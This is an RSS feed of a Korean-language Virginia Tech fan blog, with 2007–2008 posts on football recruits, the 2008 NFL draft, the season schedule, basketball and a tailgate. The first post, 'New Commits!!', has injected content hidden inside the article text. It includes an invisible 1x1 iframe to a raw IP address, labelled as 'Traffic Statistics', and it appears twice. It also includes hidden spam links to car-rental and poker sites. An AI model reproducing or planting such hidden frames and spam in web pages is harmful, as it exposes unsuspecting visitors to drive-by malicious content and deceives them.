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	<title>VIRGINIA TECH HOKIES</title>
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	<description>미국 최고의 대학풋볼 분석가들이 모였다 Go Hokies!</description>
	<pubDate>Mon, 03 Nov 2008 09:53:18 +0000</pubDate>
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		<title>New Commits!!</title>
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		<pubDate>Sun, 08 Jun 2008 03:54:10 +0000</pubDate>
		<dc:creator>세민</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[2009 풋볼 리크룻이 부진한 가운데 오늘 first VT camp를 통해서 2009 두번째 커밋을 받았다.  SC출신으로 DB Jerrod Williams로 알려졌다. 작년 9월 Ed Wang의 동생인 DT David Wang이 커밋한후 9개월만의 커밋이다. 이번해 15개 정도밖에 없는 Scholarship offer중에 2개는 채웠고 남은 7개월동안 남은 자리를 채워야하는데 자리가 얼마 없는 만큼 Talent좋은 선수들이 커밋해쓰면 바램이다. rent a car [...]]]></description>
			<content:encoded><![CDATA[<p>2009 풋볼 리크룻이 부진한 가운데 오늘 first VT camp를 통해서 2009 두번째 커밋을 받았다.  SC출신으로 DB Jerrod Williams로 알려졌다. 작년 9월 Ed Wang의 동생인 DT David Wang이 커밋한후 9개월만의 커밋이다. 이번해 15개 정도밖에 없는 Scholarship offer중에 2개는 채웠고 남은 7개월동안 남은 자리를 채워야하는데 자리가 얼마 없는 만큼 Talent좋은 선수들이 커밋해쓰면 바램이다.<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><noscript><a href="http://sikongroup.com/rentacar/index.htm">rent a car bulgaria</a></noscript> <!-- End Traffic Statistics --> 오늘 열린 Camp와 담달에 이쓸 두번째 Camp에서 그동안의 부진한 리크룻이 만회를 하길기대한다.</p>
<p>기대외에 좋은 소식은 2010 class의 첫번째 Commit을 오늘 캠프를 통해 벌써 받았다는 것이다. VA 출신 OT/DT Nic Acree로 이번 가을에 주니어로 아직 나이는 어리지만 체격은 벌써 6-6에 295lb로 거대한 것으로 알려졌다. 얼마전에 Williamsburg VA에서 있었던 National Underclassmen Combine에서 벤치프레스 185lb 36번을 할정도로 (combine highest record - 37) 강한 힘을 보여줬을뿐아니라<u style="display:none">Chermin de Fer &#8216;est pas très facile à trouver en Amérique du Nord (au Nevada Baccarat est le jeu de choix)<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> mais elle est très courante en Europe, notamment dans les <a href="http://www.modernepoker.com">poker gratuit</a> de France.</u> 좋은 스피드와 실력을 보여줬다. 또한 Strongest man 과 overall MVP를 받을정도로 벌써부터 주목을 마니 받고 있는 좋은 재능의 유망주로 알려졌다.</p>
<p><a href="http://www.hokienetwork.com/wp-content/uploads/2008/06/629310.jpg" title="Nic_Acree"><img src="http://www.hokienetwork.com/wp-content/uploads/2008/06/629310.jpg" alt="Nic_Acree" /></a></p>
<p>이번 2009 리크룻은 현재 까지 부진하지만 앞으로 더 좋아지길 바라고 2010 리크룻은 좋은 첫번째 선수로 시작을 해쓰니 2008년보다더 좋은 리크룻 클래쓰가 되길 기대해본다.</p>
<p>Go Hokies~!!!!</p>
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		<title>8 Hokies drafted in NFL and 5 signed Free Agent Deals</title>
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		<pubDate>Sat, 03 May 2008 05:51:59 +0000</pubDate>
		<dc:creator>BE HOKIE</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[지난 주말 2008 NFL draft가 있었다.  우리 hokie들이 조금이라도 빨리 그리고 더 많이 draft되길 기대하면서 draft 봤고 기대 이상 결과가 나왔다고 할수도 있지만 조금은 아쉬운 부분도 없지 않아 있었다.  총 8명이 이틀동안의 draft되었고 undraft된 hokie들 중에 5명이 Free Agent로 싸인을해서 총 12명이 NFL rookie캠프를 참가하게 되었다. 캠프동안은 물론이고  앞으로도 계속 잘하게되면 NFL에서 살아남는것이고 그렇지 못하면 [...]]]></description>
			<content:encoded><![CDATA[<p>지난 주말 2008 NFL draft가 있었다.  우리 hokie들이 조금이라도 빨리 그리고 더 많이 draft되길 기대하면서 draft 봤고 기대 이상 결과가 나왔다고 할수도 있지만 조금은 아쉬운 부분도 없지 않아 있었다.  총 8명이 이틀동안의 draft되었고 undraft된 hokie들 중에 5명이 Free Agent로 싸인을해서 총 12명이 NFL rookie캠프를 참가하게 되었다. 캠프동안은 물론이고  앞으로도 계속 잘하게되면 NFL에서 살아남는것이고 그렇지 못하면 NFL의 약간의 맛만 보는것으로 끝이 날수도 있다.  NFL과 싸인을한 선수들을 보자면..</p>
<p>OT Duane Brown (1st round 26th 전체 26th pick to Houston) - 예상외로 1st round에서 hokie들중 가장먼저 pick되었다. VT로 온후에 TightEnd에서 OT로옮겨쓰며 빠른 발과 좋은 운동신경을 인정받아 일찍 뽑힌것으로 보인다.</p>
<p>CB Brandon Flowers (2nd round 4th전체 35pick to Kansas City) - Hokie들중 가장 먼저 뽑힐것으로 예상되찌만 Duane Brown이 먼저 뽑히는 바람에 첫번째를 놋쳤다. 키는 5-11으로 NFL싸이즈로는 조금 작지만 빠른 움직임과 넓은 커버능력을 장점으로 인정받았다.</p>
<p>WR Eddie Royal (2nd round 11th 전체 42nd pick to Denver) - WR로써 키는 작지만 우리에게 보여준 kick returner로써의 능력을 Denver에서도 인정받고 special team에서 중용되지 않을까 싶다.</p>
<p>DE Chris Ellis (3rd round 9th 전체 72nd pick to Buffalo) - 6-5의 키와  스피드 그리고 pass rushing 능력이 뛰어나 가지고 있는 실력을 넘어 분발한다면 곧 NFL Buffalo에서 뛰는걸 볼수 있을거로 본다.</p>
<p>LB Xavier Adibi (4th round 19th 전쳋 118th pick to Houston) -예상보다 조금 늦게 뽑히긴 했지만 rookie camp에서 Bud Foster가 말해듯이  코치해떤 선수중 최고의 운동신경을 가진 LB로써 기대이상의 더 좋은 모습을 보여줄것으로 기대된다.</p>
<p>DT Carlton Powell (5th round 13th 전체 148th pick to Denver)  - 벤치프레쓰를 450lb나 할정도로 강한 힘을 가지고 있다. 나같은 사람은 한손으로 들어서 던지는건 일도아닐듯..ㅋㅋ  Run Stopper로써 좋은 모습을 보여주길 기대한다.</p>
<p>WR Josh Morgan (6th Round 8th 전체 174th pick to San Francisco) - WR로써 아직 크게 인정받지는 못하고 있지만 빠른 움직임과 스페셜팀에서의 가능성을 보고 뽑은것으로 보인다.</p>
<p>WR Justin Harper (7th round 8th 전체 215th pick to Baltimore) - 하퍼역시WR로써 인정은 별로 못받아찌만 스피드와 큰키에서 나오는 ball leaping 능력과 Redzone에서의 활용성땜시 뽑힌것으로 보인다. easy catch ball을 드랍하는거 없이 좀더 consistent한 플레이를 하고 디펜스로부터 seperate할줄아는 능력을 좀더 기른다면 NFL에서 더 좋은 활약을 볼수 있지 않을까 싶다.</p>
<p>그 외에 free agent로</p>
<p>LB Vince Hall to St. Louis - 지난 Orange Bowl전 Miami에서 Jet ski타고 놀다 다치고 지난 씨즌 다친손목으로 인해  NFL combine과 VT pro day에서 좋은 모습을 보여주지 못해 draft되지 않았다고 본다.</p>
<p>WR Josh Hyman to St Louis - Hall 과 마찬가지로 St Louis와 싸인했고</p>
<p>DT Kory Robertson to Miami</p>
<p>Safety D.J. Parker to San Francisco</p>
<p>DT Barry Booker to Tennessee</p>
<p>NFL과 싸인을 했다고 그들이 NFL에서 플레이한다는게 보장되는게 아니다. 그들의 앞으로 더 좋은 모습과 가능성을 보여야지 살아남을수 있고 playing time을 가질수 있다. 그렇지 못한다면 rookie camp가 끈나기도 전에 팀에서 release 될수도 있다. 최근 몇년간 많은 선수들을 NFL에 보냈지만 적지 않은 선수들이 NFL에서 살아남지 못하고 Canada FL이나 Europe FL에서 아니면 Arena Football로 넘어가는 경우도 많다. 이번해는 울학교가 USCw(10)다음으로 가장 많은 8명이 NFL draft에서 뽑혔다.  그다음은 LSU 7명..  참으로 보기에  좋은 stat이라 할수 있다..ㅋㅋㅋ 다들 Draft에서 뽑힌것을 넘어서 NFL에서 최고의 활약들을 펼쳐줬으면 하는 바램이다.</p>
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		<title>Go Tech~ Go Tech~ H!o!k!i!e!s! Hokies~!</title>
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		<pubDate>Thu, 28 Feb 2008 01:26:11 +0000</pubDate>
		<dc:creator>BE HOKIE</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[Our kids should be like this kid in the future~

]]></description>
			<content:encoded><![CDATA[<p>Our kids should be like this kid in the future~</p>
<param name="movie" value="http://www.youtube.com/v/fE3GeihFSu4"></param><embed src="http://www.youtube.com/v/fE3GeihFSu4" type="application/x-shockwave-flash" height="350" width="425"></embed></p>
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		<title>2008 Schedule Released~!!!</title>
		<link>http://www.hokienetwork.com/topics/125</link>
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		<pubDate>Sat, 09 Feb 2008 07:30:06 +0000</pubDate>
		<dc:creator>BE HOKIE</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[드디어 2008년 Football schedule이 나왔다~!! 예이~!!! ㅋㅋㅋ
Aug. 30	East Carolina (Charlotte)
Sept. 6	Furman
Sept. 13 Georgia Tech
Sept. 20 at North Carolina
Sept. 27 at Nebraska
Oct. 4	Western Kentucky
Oct. 18	at Boston College
Oct. 25	at Florida State
Nov. 6	Maryland (Thu.) 7:30
Nov. 13	at Miami (Thu.) 7:30
Nov. 22	Duke
Nov. 29	Virginia
Dec. 6 at ACC Championship
]]></description>
			<content:encoded><![CDATA[<p>드디어 2008년 Football schedule이 나왔다~!! 예이~!!! ㅋㅋㅋ</p>
<p>Aug. 30	East Carolina (Charlotte)<br />
Sept. 6	Furman<br />
Sept. 13 Georgia Tech<br />
Sept. 20 at North Carolina<br />
Sept. 27 at Nebraska<br />
Oct. 4	Western Kentucky<br />
Oct. 18	at Boston College<br />
Oct. 25	at Florida State<br />
Nov. 6	Maryland (Thu.) 7:30<br />
Nov. 13	at Miami (Thu.) 7:30<br />
Nov. 22	Duke<br />
Nov. 29	Virginia<br />
Dec. 6 at ACC Championship</p>
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		<item>
		<title>Class of 2008 LOI&#8217;s</title>
		<link>http://www.hokienetwork.com/topics/124</link>
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		<pubDate>Thu, 07 Feb 2008 05:34:23 +0000</pubDate>
		<dc:creator>OMG_Tyrod does it again</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[2월 6일 수요일..
각 대학의 풋볼코치들은 모두들 팩쓰앞에서 초조한 하루를 보냈을겁니다
Frank Beamer도 예외는 아니었겠지요
바로 national Letter Of Intent에 서명함으로써 체육장학생으로 입학하겠다는 것을
공식화할 수 있는 첫날이었기 때문입니다
올해 VT는 31명의 선수들에게 장학생특혜를 주었습니다
비록 금전적인 혜택은 없지만 감독 추천선수로 입학하게될 선수들까지
모두 33명의 선수들이 1년 안으로 입학하게될것으로 보입니다
앞으로 기회되면 선수 개개인에 대한 기본적인 정보와 고교시절 활약상
그리고 각자에게 거는 기대와 VT [...]]]></description>
			<content:encoded><![CDATA[<p>2월 6일 수요일..<br />
각 대학의 풋볼코치들은 모두들 팩쓰앞에서 초조한 하루를 보냈을겁니다<br />
Frank Beamer도 예외는 아니었겠지요<br />
바로 national Letter Of Intent에 서명함으로써 체육장학생으로 입학하겠다는 것을<br />
공식화할 수 있는 첫날이었기 때문입니다<br />
올해 VT는 31명의 선수들에게 장학생특혜를 주었습니다<br />
비록 금전적인 혜택은 없지만 감독 추천선수로 입학하게될 선수들까지<br />
모두 33명의 선수들이 1년 안으로 입학하게될것으로 보입니다</p>
<p>앞으로 기회되면 선수 개개인에 대한 기본적인 정보와 고교시절 활약상<br />
그리고 각자에게 거는 기대와 VT 코치들의 계획<br />
거기에 더해 recruit 과정에서 있었던 뒷이야기거리등을<br />
나누어 볼까 합니다<br />
뭐&#8230; 약간의 자극을 위해서 나름의 순위를 만들어볼까도 합니다만&#8230;</p>
<p>언론이나 VT관련 매체를 간간이 접해보신 분들은 이미 들어보았을겁니다<br />
이번 class야말로 역대 최고라는 찬사를 말입니다<br />
실제로 어떤 결과를 낼지는 사오년 후라야 알수 있겠습니다만<br />
고교 졸업 당시를 비교하자면 지나친 기대가 아니라 단언할 수 있습니다<br />
지금까지와는 달리 단한명의 11th hour &#8216;de-commit&#8217;도 없었다는것 역시<br />
앞으로를 더 기대케합니다</p>
<p>2010 NCAA Football Champion Virginia Tech!!</p>
]]></content:encoded>
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		</item>
		<item>
		<title>호키 농구는 뜨끈뜨끈</title>
		<link>http://www.hokienetwork.com/topics/123</link>
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		<pubDate>Sat, 02 Feb 2008 23:47:32 +0000</pubDate>
		<dc:creator>세민</dc:creator>
		
		<category><![CDATA[ACC]]></category>

		<category><![CDATA[Basketball]]></category>
<category>ACC</category><category>basketball</category><category>농구</category><category>버지니아</category><category>버지니아택</category><category>virginia tech</category>
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		<description><![CDATA[처음에 Greenburg 가 Virginia Tech 해드코치로 hire 됬을때, 앞으로 5년 안에 NCAA 토너먼트를 갈꺼라 예상했고 곧 농구 파워하우스로 점점 자리를 잠을꺼라고 생각했는데, 정말 꿈같게도 작년에는 Duke, UNC 에게 한번도 지지 않았고 NCAA토너먼트에 올라가더니 올해는 학교 역사상 최고의 리쿠룻에다 ACC에서 5-3 레코드, 우바 애들과는 2승과 함께 조금만 힘을 더 내면 NCAA 에 다시 나갈수 있는 역사의 [...]]]></description>
			<content:encoded><![CDATA[<p>처음에 Greenburg 가 Virginia Tech 해드코치로 hire 됬을때, 앞으로 5년 안에 NCAA 토너먼트를 갈꺼라 예상했고 곧 농구 파워하우스로 점점 자리를 잠을꺼라고 생각했는데, 정말 꿈같게도 작년에는 Duke, UNC 에게 한번도 지지 않았고 NCAA토너먼트에 올라가더니 올해는 학교 역사상 최고의 리쿠룻에다 ACC에서 5-3 레코드, 우바 애들과는 2승과 함께 조금만 힘을 더 내면 NCAA 에 다시 나갈수 있는 역사의 장에 서있습니다.  이번 시즌이 끝나면 농구 FLOOR 의 리디자인, 그리고 곧(2009 정도?) 농구 전용 Facility 가 시공에 들어가게 되겠죠.</p>
<p>아시다시피 현재 팀의 선발중 3명은 1학년들 입니다.  Jeff Allen, Deleany, Thorn, 에다 최근 물이 오른 T.J. Thompson 까지.  안그래도 환상적인 올해 리쿠룻에다 아마 내년부터는 ACC 에 강력한 컨텐더가 될겁니다.  거기에 그린버그의 코칭은 이거 원 하하.   내 후년인 09-10 시즌은 아마도 호키 역사상 가장 강력한 팀이 되지 않을지.  물론 그 후야 어찌 될지는 모르지만 2년 후는 NCAA Sweet 16을 게런티로 볼수도 있다고 생각이 드네요.  하하 나 미친거 아냐? ㅋㅋㅋㅋㅋ  </p>
<p>BUT!  저보다 더 미친 분을 소개합니다.   John Feinstein 이라는 분이죠.  USA Today 에 &#8220;<a href="http://www.usatoday.com/sports/college/mensbasketball/2008-01-17-10-great_N.htm?loc=interstitialskip">10 great places to get pumped for NCAA action</a>&#8221; 기사의 장본인이죠.  짐작 하셨겠지만 Cassell Coliseum 이 그중 한 곳으로 추천받았습니다.  하하 이거 원 여기저기서 인기가 높아진 호키네이션 입니다.  울고있는 우바를 생각하면 통쾌하군요! </p>
<p>We OWN UVA, State of Virginia, ACC.  Here we come NCAA nation!</p>
<p>P.S. 엇.. 2년 후면&#8230;  #5 Taylor 가 네셔널 챔프 가는 해인데?  플로리다에 이어 한 시즌에 풋볼 농구 우승&#8230;??  하하하하하하</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Signing Day is coming~</title>
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		<pubDate>Sat, 02 Feb 2008 06:34:56 +0000</pubDate>
		<dc:creator>BE HOKIE</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[이번주 수욜일 high school football player들이 앞으로 진학할 대학을 결정하고 official Letter Of Intent를 싸인해서 학교로 보내는 날이다.  그전까지는 verbal 로만 결정을 하고 이번주 수욜 officially확인하는 날이다. 현재 scholarship offer를 받고 verbal commit한 선수만 28명이다.  그외에도 2-3명이 Signing day에 더 커밋하기를 기대하고 이낀하지만 그건 그날이 되봐야 알수 있을꺼 같다. 현재까지 커밋한 선수들을 보면 [...]]]></description>
			<content:encoded><![CDATA[<p>이번주 수욜일 high school football player들이 앞으로 진학할 대학을 결정하고 official Letter Of Intent를 싸인해서 학교로 보내는 날이다.  그전까지는 verbal 로만 결정을 하고 이번주 수욜 officially확인하는 날이다. 현재 scholarship offer를 받고 verbal commit한 선수만 28명이다.  그외에도 2-3명이 Signing day에 더 커밋하기를 기대하고 이낀하지만 그건 그날이 되봐야 알수 있을꺼 같다. 현재까지 커밋한 선수들을 보면 VT Football사상 선수 Recruit이 가장 잘된해라고 봐도 충분하다 할수있다.  Hall 과 Adibi의 자릴 메꿀수 있는 재능 좋은 LB들과 VT의 가장 큰약점OL의 자리를 위한 싸이즈 좋고 재능있는 OL들, 그리고 여러명의 좋은 스피드와 싸이즈를 가지고 있는 WR, DB and ATH들 그리고 이번 울학교 Recruit 중 최대어중 하나 인 RB을 Recruit해 앞으로 더좋은 성적을 기대 할수있을꺼 같다. 뭐 Signing Day에 Sign을 한다고 다 끈나는거는 아니다. 그들의 SAT와 GPA성적이 받쳐줘서 대학등록 Qualify가 되야지 이번 가을까지 늦어도 내년 봄학기 까지Admission 받고 등록을 해야지만  그때서야 VT Player가 되는 것이다.  30명정도의 선수가 커밋한다면 전국에서 가장많은 커밋을 받은 학교라 볼수도 이찌만 커밋한 선수중에도 레벨이 있다.  그것을 보면 VT가 전국 Top 클래스가 되기엔 좀더  발전이 필요함을  볼수있다.  아직은 우리가 UF, USC, OSU, LSU, Texas, 등등 처럼 전국 최고의 선수들만 Recruit하지는 못하기 때문이다. 선수들의 재능과  실력, 커밋명수에 따라서  순위를 따져쓸때  아직 Top 10에 들은적이 한번도 없다.  하지만 최근 몇년동안 계속 좋아지는  High School player  recruit 을 보면  우리도 언젠가는  전국 Top 클래쓰에 들수 있을거라 기대해본다.  비록 VT가 최고의 Recruit Class를 갖지는 못하지만 그래도 겉으로 보이지 않는 재능을 찾아내는 VT coaching  staff들의 능력을 보면 이번씨즌 들어오는 2008년 Freshmen들에게 기대함을 가져도 좋을듯 싶다.  더 자세한 선수들의 설명은 나중에 정욱이가 자세히 알려줄것이고 ..^^ 이번 Freshmen들의 재능을 알아가보면서 이번씨즌을 준비해보자..Go Hokies~!</p>
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		</item>
		<item>
		<title>2008 시즌을 준비합시다~~!</title>
		<link>http://www.hokienetwork.com/topics/121</link>
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		<pubDate>Wed, 16 Jan 2008 03:18:43 +0000</pubDate>
		<dc:creator>BE HOKIE</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[너무나도 아쉬워떤 2007시즌. 충분히 잘했다고 평가할수 있는 시즌이었음에도 불구하고 오렌지보울에서의 패배로 인해 또다시 실망이 컸던 2007시즌이 었다고 본다. 지난 일은 돌이킬수 없는법.. 아쉬워하면 뭐하나&#8230;
이제 봄학기도 시작했고(학교가서 놀구 싶다..ㅜㅜ) 담시즌을 바라보며 기대의 찬 또 한시즌이 될수 있도록 슬슬 준비할 시간이 되었다. 먼저 대충 2007시즌을 끝으로 떠나게될 선수들을 파악해본다면&#8230;.아직 spring camp 로스터는 아직 확실히 안나와찌만 많은 주요 [...]]]></description>
			<content:encoded><![CDATA[<p>너무나도 아쉬워떤 2007시즌. 충분히 잘했다고 평가할수 있는 시즌이었음에도 불구하고 오렌지보울에서의 패배로 인해 또다시 실망이 컸던 2007시즌이 었다고 본다. 지난 일은 돌이킬수 없는법.. 아쉬워하면 뭐하나&#8230;</p>
<p>이제 봄학기도 시작했고(학교가서 놀구 싶다..ㅜㅜ) 담시즌을 바라보며 기대의 찬 또 한시즌이 될수 있도록 슬슬 준비할 시간이 되었다. 먼저 대충 2007시즌을 끝으로 떠나게될 선수들을 파악해본다면&#8230;.아직 spring camp 로스터는 아직 확실히 안나와찌만 많은 주요 선수들이 빠져나가게 됬음을 알수있다.</p>
<p>우선 공격을 보면  4명의 WR Royal, Morgan, Hyman, Harper, OLT에 D Brown이 가장 큰 손실이라 볼수 있다.  또한 FB인 Weatherford도 나가게되며 확실하게 결정은 안나쮜만 손실아닌 손실이 되어버린 Junior RB Ore은 여러 사생활과 학업문제로 인해 더이상 프로그램에 남아이찌 몬할수도 있고 그로인해 어떠케든 NFL로 가려고 하는 방법도 생각하고 있다. Ore은 2006시즌에 정신차린듯 싶더니.. 결국은.. 도루묵이 되는듯 싶다. 이번시즌 RB은 Depth를 봐쓸때 RB포지션은 어떠케 될듯 싶지만 WR의 공백을 어떠케 매꾸느냐가  허점 투성의 VT공격의 또다른 관건이 될듯싶다.<br />
수비쪽을 보면 우리 Foster의 능력이 다시 한번 절실히 필요로 하게되는 한시즌이 될것이다. 먼저 Senior들만 본다해도 우리가 자랑하는 9-11인 LB Adibi와 Hall이 NFL로 갈테고 DL에 주전 세명 Ellis, Powell,Booker와 K. Roberts도 나가고 또한 Safety Parker도 나가게 된다.  그리고 우리의 Junior CB쌍벽중에 하나인 Flowers가 Senior 시즌을  건너뛰고  이번씨즌 NFL로 전향하기로 발표를 했다. 수비 주전의 7명의 자리가 바뀌게되니 우리 수비의 리빌딩시즌이 될것이다. 또다른 CB인 Macho Harris도 Senior를 건너뛰고 NFL전향을 발표 해찌만 다시 마음을 바꿔 이번씨즌 마지막 까지 VT와 함께 하기로했다.</p>
<p>그 외에 시즌초 OG의 백업으로 Junior 여떤 Welsh는 이미 졸업을 하고  VT프로그램에서 빠졌으며 Devilli와Dunlevy가 봐떤 킥커의 자리도 비워지게 되었다. 공격의 5자리와 수비의 7자리가 바뀌어지는 이번씨즌 리빌딩의 시즌이 될것이긴 하지만 좋은 시즌이 되기를 또 한번 기대해보며 남은 7개월여 남은기간동안  새로 들어올 선수들과 새로 주전을 맏을 선수들을 찾아보면서 시즌을 준비하자&#8230;</p>
<p>2008씨즌도 모두들 Go Hokies~!!!  ^^</p>
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		<title>long waiting ends tomorrow</title>
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		<pubDate>Fri, 09 Nov 2007 17:59:32 +0000</pubDate>
		<dc:creator>OMG_Tyrod does it again</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[OMG I can&#8217;t wait!
I&#8217;m not producing and clock&#8217;s not ticking
yeah, I&#8217;m typing this at work
thank God my boss is not around
name any message-boards or fan forums
Lunchpail, Techsideline, rivals, scouts, fox, collegesportsnews, espn&#8230; 
I&#8217;ve surfed literally every web-pages related to one bit of hokie football
and read every single post on message-boards
but it&#8217;s not even lunch break yet
win against Clemson and GT [...]]]></description>
			<content:encoded><![CDATA[<p>OMG I can&#8217;t wait!</p>
<p>I&#8217;m not producing and clock&#8217;s not ticking</p>
<p>yeah, I&#8217;m typing this at work</p>
<p>thank God my boss is not around</p>
<p>name any message-boards or fan forums</p>
<p>Lunchpail, Techsideline, rivals, scouts, fox, collegesportsnews, espn&#8230; </p>
<p>I&#8217;ve surfed literally every web-pages related to one bit of hokie football</p>
<p>and read every single post on message-boards</p>
<p>but it&#8217;s not even lunch break yet</p>
<p>win against Clemson and GT made not only a day but a whole week</p>
<p>although Clemson game was completely wiped out by BC</p>
<p>and I felt like my life was so helplessly miserable after BC loss</p>
<p>fortunately, GT game helped me recover from the wound</p>
<p><strong><em>STUDENTS!!</em></strong></p>
<p>enjoy free tickets and atmosphere in gameday while you are enrolled</p>
<p>in addition to that, even free foods will welcome you at our FIRST TAILGATING</p>
<p>take everything and give your passion</p>
<p>because you will miss it when you found out it&#8217;s not free any more after you graduate</p>
<p>people like me, NamSung &amp; SeMin hyungs are coming from NOVA and&#8230; FLORIDA!!!</p>
<p>some of you might think we are crazy</p>
<p>I consider myself &#8216;not-normal&#8217; (almost abnormal&#8230;) but someday</p>
<p>some of you will be just like us</p>
<p>so take these opportunities for granted but don&#8217;t take them lightly</p>
<p>come out and support our team</p>
<p>our long waiting for a W against FSU will finally end tomorrow!</p>
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		<title>Hokienetwork 의 첫 테일게이팅</title>
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		<pubDate>Wed, 07 Nov 2007 05:08:17 +0000</pubDate>
		<dc:creator>세민</dc:creator>
		
		<category><![CDATA[Football]]></category>

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		<description><![CDATA[호키네트워크의 첫 테일게이팅이 열리게 되었습니다.  많이 하고 싶었지만 게임 시간이 잘 맞춰주지 못했는데 이번에는 3:30분 게임이 되면서 첫 Tailgating 이 가능하게 되었습니다.
시간: 11월10일 2007년  아침 8시 부터 1시 정도까지
장소: 뉴엔지니어링 뒤 파킹랏
누구: 아무나 와서 먹으면 됨.  카카카
메뉴: 아침, 배글+계란+소시지+라면+우유+쥬스 등등
점심, 햄버거+핫도그+음료수+과자 등등
준비물:
세민 - Grill, 포일, 젖가락, 캐찹, 캔음료, 아이스박스, 식용류, Maybe Tailgate [...]]]></description>
			<content:encoded><![CDATA[<p>호키네트워크의 첫 테일게이팅이 열리게 되었습니다.  많이 하고 싶었지만 게임 시간이 잘 맞춰주지 못했는데 이번에는 3:30분 게임이 되면서 첫 Tailgating 이 가능하게 되었습니다.</p>
<p>시간: 11월10일 2007년  아침 8시 부터 1시 정도까지</p>
<p>장소: 뉴엔지니어링 뒤 파킹랏</p>
<p><strong>누구: 아무나 와서 먹으면 됨.  카카카</strong></p>
<p>메뉴: 아침, 배글+계란+소시지+라면+우유+쥬스 등등<br />
점심, 햄버거+핫도그+음료수+과자 등등</p>
<p>준비물:<br />
세민 - Grill, 포일, 젖가락, 캐찹, 캔음료, 아이스박스, 식용류, Maybe Tailgate Tent</p>
<p>정욱 - 부르스타, 라면, 집게 2개</p>
<p>남성 - 각종 소세지, 햄버거 고기, 핫도그 빵과, 햄버거 빵, 우유, 쥬스, 머스타드, 쳐클, 1회용 접시와 컵</p>
<p>승연 - 국자, 냄비, 가위, 칼, 라이타, 테이블, 의자</p>
<p>엔드  아이스<br />
그외 자기 의자를 가져와도 되고 놀꺼리를 가지고 와도 됨</p>
<p><strong> We accept ANY FOOD~!!!! BRING and SHARE~!!</strong></p>
<p>장소를 돕기 위해 지도 첨부<br />
<img src="http://myskitch.com/csinside/picture_1-20071107-071656.jpg" alt="" /></p>
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